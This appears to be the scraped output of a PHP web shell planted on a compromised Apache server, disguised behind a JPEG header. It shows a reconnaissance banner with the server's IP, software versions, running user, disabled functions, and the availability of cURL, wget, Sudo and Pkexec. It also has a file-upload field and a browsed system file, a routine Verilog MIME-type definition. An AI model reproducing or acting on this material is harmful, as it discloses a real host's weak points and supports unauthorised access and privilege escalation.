????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.17.61.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/mime/text/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="text/x-verilog"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>Verilog source code</comment> <comment xml:lang="ast">códigu fonte en Verilog</comment> <comment xml:lang="bg">Изходен код — Verilog</comment> <comment xml:lang="bo">Verilog ཐོག་མའི་ཚབ་ཨང</comment> <comment xml:lang="bs">Verilog izvorni kod</comment> <comment xml:lang="ca">codi font en Verilog</comment> <comment xml:lang="cs">Zdrojový kód Verilog</comment> <comment xml:lang="da">Verilog-kildekode</comment> <comment xml:lang="de">Verilog-Quellcode</comment> <comment xml:lang="el">πηγαίος κώδικας Verilog</comment> <comment xml:lang="en_AU">Verilog source code</comment> <comment xml:lang="en_GB">Verilog source code</comment> <comment xml:lang="eo">Verilog-fontkodo</comment> <comment xml:lang="es">código fuente en Verilog</comment> <comment xml:lang="eu">Verilog iturburu-kodea</comment> <comment xml:lang="fi">Verilog-lähdekoodi</comment> <comment xml:lang="fr">code source Verilog</comment> <comment xml:lang="gl">código fonte en Verilog</comment> <comment xml:lang="he">קוד מקור של</comment> <comment xml:lang="hr">Verilog izvorni kod</comment> <comment xml:lang="hu">Verilog-forráskód</comment> <comment xml:lang="id">Kode sumber Verilog</comment> <comment xml:lang="it">Codice sorgente Verilog</comment> <comment xml:lang="ja">Verilog ソースコード</comment> <comment xml:lang="kk">Verilog бастапқы коды</comment> <comment xml:lang="ko">Verilog 소스 코드</comment> <comment xml:lang="lv">Verilog pirmkods</comment> <comment xml:lang="nl">Verilog broncode</comment> <comment xml:lang="pl">Kod źródłowy Verilog</comment> <comment xml:lang="pt">Código fonte Verilog</comment> <comment xml:lang="pt_BR">Código-fonte Verilog</comment> <comment xml:lang="ru">исходный код Verilog</comment> <comment xml:lang="sk">Zdrojový kód Verilog</comment> <comment xml:lang="sl">Datoteka izvorne kode Verilog</comment> <comment xml:lang="sv">Verilog-källkod</comment> <comment xml:lang="tr">Verilog kaynak kodu</comment> <comment xml:lang="ug">Verilog تىلى مەنبە كودى</comment> <comment xml:lang="uk">вихідний код мовою Verilog</comment> <comment xml:lang="zh_CN">Verilog 源代码</comment> <comment xml:lang="zh_TW">Verilog 源碼</comment> <sub-class-of type="text/plain"/> <glob pattern="*.v"/> </mime-type>